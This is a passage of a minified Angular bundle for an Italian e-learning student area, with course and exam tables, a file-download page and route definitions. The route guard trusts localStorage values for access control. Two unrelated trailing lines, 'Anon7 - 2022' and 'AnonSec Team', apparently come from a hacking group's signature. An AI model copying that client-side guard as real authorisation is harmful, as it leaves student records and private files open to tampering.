aFormControl.controls.citta.hasError("required")?137:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.indirizzo)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.indirizzo.hasError("required")?143:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.cap)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.cap.hasError("required")?149:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.titolo_studio)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.titolo_studio.hasError("required")?155:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.telefono)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.telefono.hasError("required")?161:-1),t.R7$(5),t.Y8G("formControl",o.anagraficaFormControl.controls.telefono)("errorStateMatcher",o.matcher),t.R7$(),t.vxM(o.anagraficaFormControl.controls.telefono.hasError("required")?167:-1)}},dependencies:[u.kt,u.pM,d.Hu,d.RN,d.m2,d.Lc,d.dh,y.X6,y.Vh,y.bZ,y.bU,M.m_,M.An,f.X4,f.Jc,A.RI,A.ES,A.mq,A.T8,_.RG,_.rl,_.nJ,_.TL,_.yw,S.mV,S.sG,$.Ve,$.VO,R.wT,D.fS,D.fg,k.Hl,k.$z,k.$0,n.X1,n.qT,n.me,n.Q0,n.BC,n.cb,n.l_,n.j4,n.YN,n.vS],encapsulation:2})}}return a})();var c=l(9159),b=l(6695),C=l(2042),z=l(9327),gt=l(4823);const ht=()=>[5,8,10],_t=a=>({background:a,width:"20px",height:"20px"}),Ct=a=>["/studenti/corsi/visualizza-corso/",a],Ft=a=>[a];function vt(a,r){1&a&&(t.j41(0,"th",18),t.EFF(1," Corso "),t.k0s())}function wt(a,r){if(1&a&&(t.j41(0,"td",19)(1,"div",20),t.nrm(2,"div",21),t.j41(3,"div",22)(4,"h6",23)(5,"a",24),t.EFF(6),t.nI1(7,"titlecase"),t.k0s()(),t.j41(8,"div",25),t.EFF(9),t.k0s()()()()),2&a){const e=r.$implicit;t.R7$(2),t.Aen(t.eq3(7,_t,e.colore)),t.R7$(3),t.Y8G("routerLink",t.eq3(9,Ct,e.id_corso)),t.R7$(),t.JRh(t.bMT(7,5,e.titolo)),t.R7$(3),t.SpI(" ",e.categoria," ")}}function Et(a,r){1&a&&(t.j41(0,"th",26),t.EFF(1," Erogazione "),t.k0s())}function kt(a,r){if(1&a&&(t.j41(0,"td",27)(1,"span",28),t.EFF(2),t.k0s()()),2&a){const e=r.$implicit;t.R7$(),t.Y8G("matTooltip",0==e.erogazione?"Segui il corso in qualsiasi momento!":"Il corso si svolger\xe0 in una edizione programmata dal tuo centro!"),t.R7$(),t.SpI(" ",e.erogazione&&0!=e.erogazione?"EDIZIONE":"LIBERA"," ")}}function bt(a,r){1&a&&(t.j41(0,"th",29),t.EFF(1," Esame "),t.k0s())}function jt(a,r){if(1&a&&(t.j41(0,"span",30),t.EFF(1),t.k0s()),2&a){const e=t.XpG().$implicit;t.R7$(),t.SpI(" ",1==e.esame_libero?"Esame Libero":"Esame in sessione"," ")}}function At(a,r){if(1&a&&(t.j41(0,"span",30),t.EFF(1),t.k0s()),2&a){const e=t.XpG().$implicit;t.R7$(),t.SpI(" ",1==e.esame_attivo?"Esame Previsto":"Esame non previsto"," ")}}function yt(a,r){if(1&a&&(t.j41(0,"td",27),t.DNE(1,jt,2,1,"span",30)(2,At,2,1,"span",30),t.k0s()),2&a){const e=r.$implicit;t.R7$(),t.vxM(1==e.esame_attivo?1:2)}}function Mt(a,r){1&a&&(t.j41(0,"th",31),t.EFF(1," Stato "),t.k0s())}function Dt(a,r){1&a&&(t.j41(0,"span",32),t.EFF(1," Corso Seguito "),t.k0s(),t.nrm(2,"br"))}function Rt(a,r){1&a&&(t.j41(0,"span",32),t.EFF(1," Esame Superato "),t.k0s())}function Tt(a,r){if(1&a&&(t.j41(0,"td",27),t.DNE(1,Dt,3,0)(2,Rt,2,0,"span",32),t.k0s()),2&a){const e=r.$implicit;t.R7$(),t.vxM(1==e.seguito?1:-1),t.R7$(),t.vxM(1==e.superato?2:-1)}}function $t(a,r){1&a&&(t.j41(0,"th",33),t.EFF(1," Azioni "),t.k0s())}function St(a,r){if(1&a&&(t.j41(0,"td",27)(1,"button",34),t.EFF(2," Avvia Corso "),t.k0s()()),2&a){const e=r.$implicit;t.R7$(),t.Y8G("routerLink",t.eq3(1,Ft,"/studenti/corsi/visualizza-corso/"+e.id_corso+"/"+e.id_iscrizione))}}function zt(a,r){1&a&&t.nrm(0,"tr",35)}function Nt(a,r){1&a&&t.nrm(0,"tr",36)}let It=(()=>{class a{constructor(e,i,o,s){this.api=i,this.settings=o,this.ws=s,this.displayedColumns=["Corso","Erogazione","Stato","Azioni"],this.sort=Object.create(null),this.paginator=Object.create(null),this.ws.sendMessage("Entrato nella sezione corsi","Corsi")}ngOnDestroy(){this.ws.sendMessage("Uscito dalla sezione corsi","Corsi")}ngOnInit(){var e=this;return(0,m.A)(function*(){e.refresh()})()}refresh(){var e=this;return(0,m.A)(function*(){e.utenti=yield e.api.call("getCorsi"),e.dataSource=new c.I6(e.utenti),e.dataSource.paginator=e.paginator,e.dataSource.sort=e.sort})()}filter(e){this.dataSource.filter=e.trim().toLowerCase()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(z.QP),t.rXU(E.W),t.rXU(g.P),t.rXU(j.V))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-utenti"]],viewQuery:function(i,o){if(1&i&&(t.GBs(C.B4,5),t.GBs(b.iy,5)),2&i){let s;t.mGM(s=t.lsd())&&(o.sort=s.first),t.mGM(s=t.lsd())&&(o.paginator=s.first)}},standalone:!0,features:[t.aNF],decls:22,vars:5,consts:[[1,"cardWithShadow"],[1,"table-responsive","m-t-30"],["mat-table","","matSort","",1,"w-100",3,"dataSource"],["matColumnDef","Corso"],["mat-header-cell","","mat-sort-header","nome","class","f-w-600 mat-subtitle-1 f-s-14 p-l-0",4,"matHeaderCellDef"],["mat-cell","","class","p-l-0",4,"matCellDef"],["matColumnDef","Erogazione"],["mat-header-cell","","mat-sort-header","erogazione","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["mat-cell","",4,"matCellDef"],["matColumnDef","Esame"],["mat-header-cell","","mat-sort-header","esame_attivo","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["matColumnDef","Stato"],["mat-header-cell","","mat-sort-header","superato","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["matColumnDef","Azioni"],["mat-header-cell","","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["mat-header-row","",4,"matHeaderRowDef"],["mat-row","",4,"matRowDef","matRowDefColumns"],["showFirstLastButtons","",3,"pageSizeOptions"],["mat-header-cell","","mat-sort-header","nome",1,"f-w-600","mat-subtitle-1","f-s-14","p-l-0"],["mat-cell","",1,"p-l-0"],[1,"d-flex","align-items-center"],[1,"rounded-circle"],[1,"m-l-16"],[1,"mat-subtitle-1","f-s-14","f-w-600"],[2,"color","black","text-decoration","none",3,"routerLink"],[1,"mat-body-1","f-s-12"],["mat-header-cell","","mat-sort-header","erogazione",1,"f-w-600","mat-subtitle-1","f-s-14"],["mat-cell",""],[1,"bg-light-success","text-primary","rounded","f-w-600","p-6","p-y-4","f-s-12",3,"matTooltip"],["mat-header-cell","","mat-sort-header","esame_attivo",1,"f-w-600","mat-subtitle-1","f-s-14"],[1,"bg-light-primary","text-primary","rounded","f-w-600","p-6","p-y-4","f-s-12"],["mat-header-cell","","mat-sort-header","superato",1,"f-w-600","mat-subtitle-1","f-s-14"],[1,"bg-light-success","text-primary","rounded","f-w-600","p-6","p-y-4","f-s-12"],["mat-header-cell","",1,"f-w-600","mat-subtitle-1","f-s-14"],["mat-flat-button","","color","primary",1,"d-flex","align-items-center","justify-content-center",3,"routerLink"],["mat-header-row",""],["mat-row",""]],template:function(i,o){1&i&&(t.j41(0,"mat-card",0)(1,"mat-card-content")(2,"div",1)(3,"table",2),t.qex(4,3),t.DNE(5,vt,2,0,"th",4)(6,wt,10,11,"td",5),t.bVm(),t.qex(7,6),t.DNE(8,Et,2,0,"th",7)(9,kt,3,2,"td",8),t.bVm(),t.qex(10,9),t.DNE(11,bt,2,0,"th",10)(12,yt,3,1,"td",8),t.bVm(),t.qex(13,11),t.DNE(14,Mt,2,0,"th",12)(15,Tt,3,2,"td",8),t.bVm(),t.qex(16,13),t.DNE(17,$t,2,0,"th",14)(18,St,3,3,"td",8),t.bVm(),t.DNE(19,zt,1,0,"tr",15)(20,Nt,1,0,"tr",16),t.k0s(),t.nrm(21,"mat-paginator",17),t.k0s()()()),2&i&&(t.R7$(3),t.Y8G("dataSource",o.dataSource),t.R7$(16),t.Y8G("matHeaderRowDef",o.displayedColumns),t.R7$(),t.Y8G("matRowDefColumns",o.displayedColumns),t.R7$(),t.Y8G("pageSizeOptions",t.lJ4(4,ht)))},dependencies:[w.G,d.RN,d.m2,k.$z,gt.oV,b.iy,C.B4,C.aE,c.Zl,c.tL,c.ji,c.cC,c.YV,c.iL,c.KS,c.$R,c.YZ,c.NB,c.tP,u.MD,u.PV,d.Hu,h.iI,h.Wk,f.X4],styles:[".mat-error[_ngcontent-%COMP%]{background-color:#fc4b6c;color:#fff}.mat-primary[_ngcontent-%COMP%]{background-color:#1e88e5;color:#fff}.mat-success[_ngcontent-%COMP%]{background-color:#26c6da;color:#fff}.mat-warning[_ngcontent-%COMP%]{background-color:#ffb22b;color:#fff}.mat-info[_ngcontent-%COMP%]{background-color:#1e88e5;color:#fff}"]})}}return a})();var Gt=l(1503);let F=(()=>{class a{constructor(e){this.routes=e}canActivate(e,i){let o=localStorage.getItem("username"),s=localStorage.getItem("user_type_id"),p=localStorage.getItem("profile_check");return console.log("profile_check:",p),console.log(e.routeConfig?.path),"false"==p&&"anagrafica"!=e.routeConfig?.path?(this.routes.navigate(["/studenti/anagrafica"]),!0):null!=o&&"1"==s||(this.routes.navigate(["/authentication/login"]),!1)}static{this.\u0275fac=function(i){return new(i||a)(t.KVO(h.Ix))}}static{this.\u0275prov=t.jDH({token:a,factory:a.\u0275fac,providedIn:"root"})}}return a})();var Vt=l(8493);const xt=()=>[5,8,10],Pt=a=>({background:a,width:"20px",height:"20px"}),Ut=a=>["/studenti/corsi/visualizza-corso/",a],Xt=a=>[a];function Yt(a,r){1&a&&(t.j41(0,"th",24),t.EFF(1," Certificazione "),t.k0s())}function Jt(a,r){if(1&a&&(t.j41(0,"td",25)(1,"div",26),t.nrm(2,"div",27),t.j41(3,"div",28)(4,"h6",29)(5,"a",30),t.EFF(6),t.nI1(7,"titlecase"),t.k0s()(),t.j41(8,"div",31),t.EFF(9),t.k0s()()()()),2&a){const e=r.$implicit;t.R7$(2),t.Aen(t.eq3(7,Pt,e.colore)),t.R7$(3),t.Y8G("routerLink",t.eq3(9,Ut,e.id_esame)),t.R7$(),t.JRh(t.bMT(7,5,e.titolo)),t.R7$(3),t.SpI(" ",e.categoria," ")}}function Bt(a,r){1&a&&(t.j41(0,"th",32),t.EFF(1," Erogazione "),t.k0s())}function Ot(a,r){1&a&&(t.j41(0,"span",34),t.EFF(1,"LIBERA"),t.k0s())}function Lt(a,r){if(1&a&&(t.j41(0,"span",34),t.EFF(1,"SESSIONE"),t.k0s(),t.nrm(2,"br"),t.j41(3,"span",34),t.EFF(4),t.nI1(5,"date"),t.nI1(6,"date"),t.k0s()),2&a){const e=t.XpG().$implicit;t.R7$(4),t.Lme("dal ",t.i5U(5,2,e.data_inizio_sessione,"dd/MM/yyyy")," al ",t.i5U(6,5,e.data_fine_sessione,"dd/MM/yyyy"),"")}}function qt(a,r){if(1&a&&(t.j41(0,"td",33),t.DNE(1,Ot,2,0,"span",34)(2,Lt,7,8),t.k0s()),2&a){const e=r.$implicit;t.R7$(),t.vxM(e.erogazione&&0!=e.erogazione?2:1)}}function Ht(a,r){1&a&&(t.j41(0,"th",35),t.EFF(1," Moduli "),t.k0s())}function Wt(a,r){if(1&a&&(t.j41(0,"td",33)(1,"span",36),t.EFF(2),t.k0s()()),2&a){const e=r.$implicit;t.R7$(2),t.SpI(" ",e.totale_moduli," ")}}function Zt(a,r){1&a&&(t.j41(0,"th",37),t.EFF(1," Stato "),t.k0s())}function Qt(a,r){1&a&&(t.j41(0,"span",39),t.EFF(1," Non sostenuto "),t.k0s(),t.nrm(2,"br"))}function Kt(a,r){1&a&&(t.j41(0,"span",38),t.EFF(1," Superato "),t.k0s())}function te(a,r){if(1&a&&(t.j41(0,"td",33),t.DNE(1,Qt,3,0)(2,Kt,2,0,"span",38),t.k0s()),2&a){const e=r.$implicit;t.R7$(),t.vxM(e.esito?-1:1),t.R7$(),t.vxM(1==e.esito?2:-1)}}function ee(a,r){1&a&&(t.j41(0,"th",40),t.EFF(1," Azioni "),t.k0s())}function ae(a,r){if(1&a&&(t.j41(0,"td",33)(1,"button",41),t.EFF(2,"Vai al'esame"),t.k0s()()),2&a){const e=r.$implicit;t.R7$(),t.Y8G("routerLink",t.eq3(1,Xt,"/studenti/esami/visualizza-esame/"+e.id_esame+"/"+e.id_iscrizione))}}function oe(a,r){1&a&&t.nrm(0,"tr",42)}function ie(a,r){1&a&&t.nrm(0,"tr",43)}let re=(()=>{class a{constructor(e,i,o,s){this.api=i,this.settings=o,this.ws=s,this.displayedColumns=["Corso","Erogazione","Stato","Azioni"],this.sort=Object.create(null),this.paginator=Object.create(null),this.ws.sendMessage("Entrato nella sezione certificazioni","Esami")}ngOnDestroy(){this.ws.sendMessage("Uscito dalla sezione certificazioni","Esami")}ngOnInit(){var e=this;return(0,m.A)(function*(){e.refresh()})()}refresh(){var e=this;return(0,m.A)(function*(){e.utenti=yield e.api.call("getEsami"),e.dataSource=new c.I6(e.utenti),e.dataSource.paginator=e.paginator,e.dataSource.sort=e.sort})()}filter(e){this.dataSource.filter=e.trim().toLowerCase()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(z.QP),t.rXU(E.W),t.rXU(g.P),t.rXU(j.V))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-esami"]],viewQuery:function(i,o){if(1&i&&(t.GBs(C.B4,5),t.GBs(b.iy,5)),2&i){let s;t.mGM(s=t.lsd())&&(o.sort=s.first),t.mGM(s=t.lsd())&&(o.paginator=s.first)}},standalone:!0,features:[t.aNF],decls:30,vars:5,consts:[[1,"cardWithShadow"],[1,"row","justify-content-between","gap-16"],[1,"col-sm-4"],["appearance","outline",1,"w-100","hide-hint"],["matInput","","placeholder","Cerca qui",3,"keyup"],["matSuffix",""],["name","search",1,"icon-20"],[1,"table-responsive","m-t-30"],["mat-table","","matSort","",1,"w-100",3,"dataSource"],["matColumnDef","Corso"],["mat-header-cell","","mat-sort-header","nome","class","f-w-600 mat-subtitle-1 f-s-14 p-l-0",4,"matHeaderCellDef"],["mat-cell","","class","p-l-0",4,"matCellDef"],["matColumnDef","Erogazione"],["mat-header-cell","","mat-sort-header","erogazione","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["mat-cell","",4,"matCellDef"],["matColumnDef","Moduli"],["mat-header-cell","","mat-sort-header","totale_moduli","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["matColumnDef","Stato"],["mat-header-cell","","mat-sort-header","superato","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["matColumnDef","Azioni"],["mat-header-cell","","class","f-w-600 mat-subtitle-1 f-s-14",4,"matHeaderCellDef"],["mat-header-row","",4,"matHeaderRowDef"],["mat-row","",4,"matRowDef","matRowDefColumns"],["showFirstLastButtons","",3,"pageSizeOptions"],["mat-header-cell","","mat-sort-header","nome",1,"f-w-600","mat-subtitle-1","f-s-14","p-l-0"],["mat-cell","",1,"p-l-0"],[1,"d-flex","align-items-center"],[1,"rounded-circle"],[1,"m-l-16"],[1,"mat-subtitle-1","f-s-14","f-w-600"],[2,"color","black","text-decoration","none",3,"routerLink"],[1,"mat-body-1","f-s-12"],["mat-header-cell","","mat-sort-header","erogazione",1,"f-w-600","mat-subtitle-1","f-s-14"],["mat-cell",""],[1,"bg-light-success","text-primary","rounded","f-w-600","p-6","p-y-4","f-s-12"],["mat-header-cell","","mat-sort-header","totale_moduli",1,"f-w-600","mat-subtitle-1","f-s-14"],[1,"bg-light-primary","text-primary","rounded","f-w-600","p-6","p-y-4","f-s-12"],["mat-header-cell","","mat-sort-header","superato",1,"f-w-600","mat-subtitle-1","f-s-14"],[1,"bg-success","text-white","rounded","f-w-600","p-6","p-y-4","f-s-12"],[1,"bg-primary","text-white","rounded","f-w-600","p-6","p-y-4","f-s-12"],["mat-header-cell","",1,"f-w-600","mat-subtitle-1","f-s-14"],["mat-flat-button","","color","primary",3,"routerLink"],["mat-header-row",""],["mat-row",""]],template:function(i,o){1&i&&(t.j41(0,"mat-card",0)(1,"mat-card-content")(2,"div",1)(3,"div",2)(4,"mat-form-field",3)(5,"input",4),t.bIt("keyup",function(p){return o.filter(p.target.value)}),t.k0s(),t.j41(6,"mat-icon",5),t.nrm(7,"i-tabler",6),t.k0s()()()()()(),t.j41(8,"mat-card",0)(9,"mat-card-content")(10,"div",7)(11,"table",8),t.qex(12,9),t.DNE(13,Yt,2,0,"th",10)(14,Jt,10,11,"td",11),t.bVm(),t.qex(15,12),t.DNE(16,Bt,2,0,"th",13)(17,qt,3,1,"td",14),t.bVm(),t.qex(18,15),t.DNE(19,Ht,2,0,"th",16)(20,Wt,3,1,"td",14),t.bVm(),t.qex(21,17),t.DNE(22,Zt,2,0,"th",18)(23,te,3,2,"td",14),t.bVm(),t.qex(24,19),t.DNE(25,ee,2,0,"th",20)(26,ae,3,3,"td",14),t.bVm(),t.DNE(27,oe,1,0,"tr",21)(28,ie,1,0,"tr",22),t.k0s(),t.nrm(29,"mat-paginator",23),t.k0s()()()),2&i&&(t.R7$(11),t.Y8G("dataSource",o.dataSource),t.R7$(16),t.Y8G("matHeaderRowDef",o.displayedColumns),t.R7$(),t.Y8G("matRowDefColumns",o.displayedColumns),t.R7$(),t.Y8G("pageSizeOptions",t.lJ4(4,xt)))},dependencies:[w.G,_.rl,_.yw,D.fg,d.RN,d.m2,k.$z,M.An,b.iy,C.B4,C.aE,c.Zl,c.tL,c.ji,c.cC,c.YV,c.iL,c.KS,c.$R,c.YZ,c.NB,c.tP,u.MD,u.PV,u.vh,d.Hu,h.iI,h.Wk,f.X4,f.Jc],encapsulation:2})}}return a})();var ne=l(4006);function se(a,r){1&a&&(t.j41(0,"div",5)(1,"div",7),t.EFF(2," Non sono presenti files associati all'utente! "),t.k0s()())}function le(a,r){if(1&a){const e=t.RV6();t.j41(0,"div",6)(1,"div",8)(2,"span",9),t.bIt("click",function(){const o=t.eBV(e).$implicit,s=t.XpG();return t.Njj(s.scaricaFile(o))}),t.nrm(3,"i-tabler",10),t.k0s(),t.j41(4,"div",11)(5,"a",12),t.bIt("click",function(){const o=t.eBV(e).$implicit,s=t.XpG();return t.Njj(s.scaricaFile(o))}),t.EFF(6),t.k0s()()()()}if(2&a){const e=r.$implicit,i=t.XpG();t.R7$(6),t.JRh(i.settings.parseOnlyFilename(e))}}function ce(a,r){1&a&&(t.j41(0,"div",5)(1,"div",7),t.EFF(2," Non sono presenti files pubblici! "),t.k0s()())}function me(a,r){if(1&a){const e=t.RV6();t.j41(0,"div",6)(1,"div",8)(2,"span",9),t.bIt("click",function(){const o=t.eBV(e).$implicit,s=t.XpG();return t.Njj(s.scaricaFilePubblico(o))}),t.nrm(3,"i-tabler",10),t.k0s(),t.j41(4,"div",11)(5,"a",12),t.bIt("click",function(){const o=t.eBV(e).$implicit,s=t.XpG();return t.Njj(s.scaricaFilePubblico(o))}),t.EFF(6),t.k0s()()()()}if(2&a){const e=r.$implicit;t.R7$(6),t.JRh(e)}}const de=[{path:"home",canActivate:[F],component:P,data:{title:"Dashboard"}},{path:"anagrafica",canActivate:[F],component:ut,data:{title:"Anagrafica"}},{path:"download",canActivate:[F],component:(()=>{class a{constructor(e,i,o,s){this.activatedRouter=e,this.dialog=i,this.api=o,this.settings=s,this.files_public=[],this.files_private=[],this.avatar_location="/assets/images/logos/no-logo.webp",this.displayedColumns=["Info","Corso","Affiliato","Esito","Azioni"],this.sort=Object.create(null),this.paginator=Object.create(null)}ngOnInit(){var e=this;return(0,m.A)(function*(){e.id_centro=e.activatedRouter.snapshot.paramMap.get("id"),e.refresh()})()}refresh(){var e=this;return(0,m.A)(function*(){e.files_public=yield e.api.call("getFilesCentro"),e.files_private=yield e.api.call("getFilesUtentePrivate")})()}scaricaFile(e){var i=this;return(0,m.A)(function*(){let o=yield i.api.call("getFileUtentePrivate",{filename:e});o&&window.open(o,"_blank")})()}scaricaFilePubblico(e){var i=this;return(0,m.A)(function*(){let o=yield i.api.call("getFileCentro",{filename:e});o&&window.open(o,"_blank")})()}check_un_mese(e){if(!e)return!1;const i=new Date,o=new Date(e),s=new Date(o.setMonth(o.getMonth()+3));return s.getTime()>i.getTime()&&(console.log(s),console.log(i),!0)}ristampa_certificato(){var e=this;return(0,m.A)(function*(){e.settings.openDialog("Per richiedere il duplicato del certificato, puoi contattarci tramite i contatti ufficiali che trovi nel nostro sito!","ristampa_certificato")})()}scarica_certificato(){var e=this;return(0,m.A)(function*(){e.settings.openDialog("Funzione non ancora disponibile, si prega di riprovare tra qualche giorno o contattare la segreteria!","error")})()}static{this.\u0275fac=function(i){return new(i||a)(t.rXU(h.nX),t.rXU(ne.bZ),t.rXU(E.W),t.rXU(g.P))}}static{this.\u0275cmp=t.VBU({type:a,selectors:[["app-download"]],viewQuery:function(i,o){if(1&i&&(t.GBs(C.B4,5),t.GBs(b.iy,5)),2&i){let s;t.mGM(s=t.lsd())&&(o.sort=s.first),t.mGM(s=t.lsd())&&(o.paginator=s.first)}},standalone:!0,features:[t.aNF],decls:17,vars:2,consts:[[1,"row"],[1,"col-lg-6"],[1,"cardWithShadow"],[1,"p-b-30","position-relative"],[1,"mat-subtitle-1","f-s-16","f-w-600"],[1,"m-t-24","text-center"],[1,"m-t-24"],[1,"text-center"],[1,"d-flex","align-items-center"],[1,"text-info","bg-light-info","rounded-circle","icon-46","d-flex","align-items-center","justify-content-center",2,"cursor","pointer",3,"click"],["name","download",1,"icon-22","d-flex"],[1,"m-l-16","m-r-auto"],[3,"click"]],template:function(i,o){1&i&&(t.j41(0,"div",0)(1,"div",1)(2,"mat-card",2)(3,"mat-card-content",3)(4,"h6",4),t.EFF(5,"Certificati & Files Privati"),t.k0s(),t.DNE(6,se,3,0,"div",5),t.Z7z(7,le,7,1,"div",6,t.Vm6),t.k0s()()(),t.j41(9,"div",1)(10,"mat-card",2)(11,"mat-card-content",3)(12,"h6",4),t.EFF(13,"Files Pubblici"),t.k0s(),t.DNE(14,ce,3,0,"div",5),t.Z7z(15,me,7,1,"div",6,t.Vm6),t.k0s()()()()),2&i&&(t.R7$(6),t.vxM(o.files_private&&0==o.files_private.length?6:-1),t.R7$(),t.Dyx(o.files_private),t.R7$(7),t.vxM(o.files_public&&0==o.files_public.length?14:-1),t.R7$(),t.Dyx(o.files_public))},dependencies:[w.G,d.RN,d.m2,u.MD,n.YN,n.X1,f.X4,f.Jc],encapsulation:2})}}return a})(),data:{title:"Area Download"}},{path:"corsi",canActivate:[F],component:It,data:{title:"Catalogo Corsi"}},{path:"corsi/visualizza-corso/:id_corso/:id_iscrizione",canActivate:[F],component:Gt.H,data:{title:"Scheda Corso",padre:"/studenti/corsi",padre_titolo:"Corsi"}},{path:"esami",canActivate:[F],component:re,data:{title:"Catalogo Certificazioni"}},{path:"esami/visualizza-esame/:id_esame/:id_iscrizione",canActivate:[F],component:Vt.m,data:{title:"Scheda Certificazione",padre:"/studenti/esami",padre_titolo:"Certificazioni"}}]}}]);

Anon7 - 2022
AnonSec Team